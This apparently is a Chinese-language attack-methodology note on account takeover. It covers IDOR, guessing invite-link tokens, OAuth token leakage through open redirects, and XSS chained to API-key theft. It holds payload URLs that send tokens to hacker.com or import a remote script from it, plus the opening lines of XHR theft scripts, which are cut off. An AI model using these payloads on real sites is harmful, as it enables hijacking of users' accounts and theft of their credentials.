账户接管的攻击思路
IDOR导致账户接管
比如在用户信息更新页面,把当前用户的邮箱更新为test@mail.com,抓包
1 | POST /api/v1/user/2 |
可以改POST为GET、或者改id
有些地方比如邀请链接也可能导致账户接管,比如当前用户分享一个链接,其他人点击了这个链接,就可以加入当前用户所在的群组这种类似的功能
链接比如长这样 https://aaa.bbb.com/join/2/ef6113d99aa71d587cc690c931ada509
首先考虑ef6113d99aa71d587cc690c931ada509
是什么?是不是token
?怎么生成的?是不是标识当前用户和目标的某种联系?是不是账户建立的时候赋予的标识?其次考虑这个2,有时候是整数,有时候是uuid
,如果是uuid
,能不能去Google上搜有没有别的公司的uuid可以拿来用?
还需要考虑的是,返回包里有没有值得注意的字段?比如id username role
这些,能不能加到请求包的数据中?有没有覆盖其值的可能?role
的值是什么?admin
or super_admin
?就是猜
Oauth的话,一般会访问一个重定向到第三方url,并且是携带一个hash值去访问,需要做的就是拿到这个hash值
1 | https://xxx.com/auth?client_id=1&redirect_url=https://yyy.com/&response_type=token |
怎么抓这个hash?需要找一个Open redirect,除了前面说的那些,还有一个方法就是尝试logout功能那里有没有Open redirect
1 | https://xxx.com/auth?client_id=1&redirect_url=https://yyy.com/../../../logout?url=http://test.com&response_type=token |
一旦找到了Open redirect漏洞的地方,就可以抓hash
1 | https://xxx.com/auth?client_id=1&redirect_url=https://zzz.com/redirect?url=http://hacker.com&response_type=token |
用js代码可以把hash抓到
1 | <script> |
xss达到账户接管
比如一个账户的API key是通过访问 /api/v1/me/session 接口来获得的,而同时又存在反射xss漏洞,就可以结合(不要管CORS策略,都得试一遍)
1 | https://xxx.com/?q="><img/src=x%20onerror=import("https://hacker.com/1.js")> |
1.js就是简单的alert
1 | alert(1);// |
如果能弹窗,就可以抓API key了
2.js
1 | var xhr = new XMLHttpRequest(); |
也有其他的xss方法可以达到账户接管,比如用户在更新邮箱信息的时候就是简单向某个接口发送一个数据,除了通过CSRF可以达到这种效果,js也可以
1 | var xhr = new XMLHttpRequest(); |
前提是有xss漏洞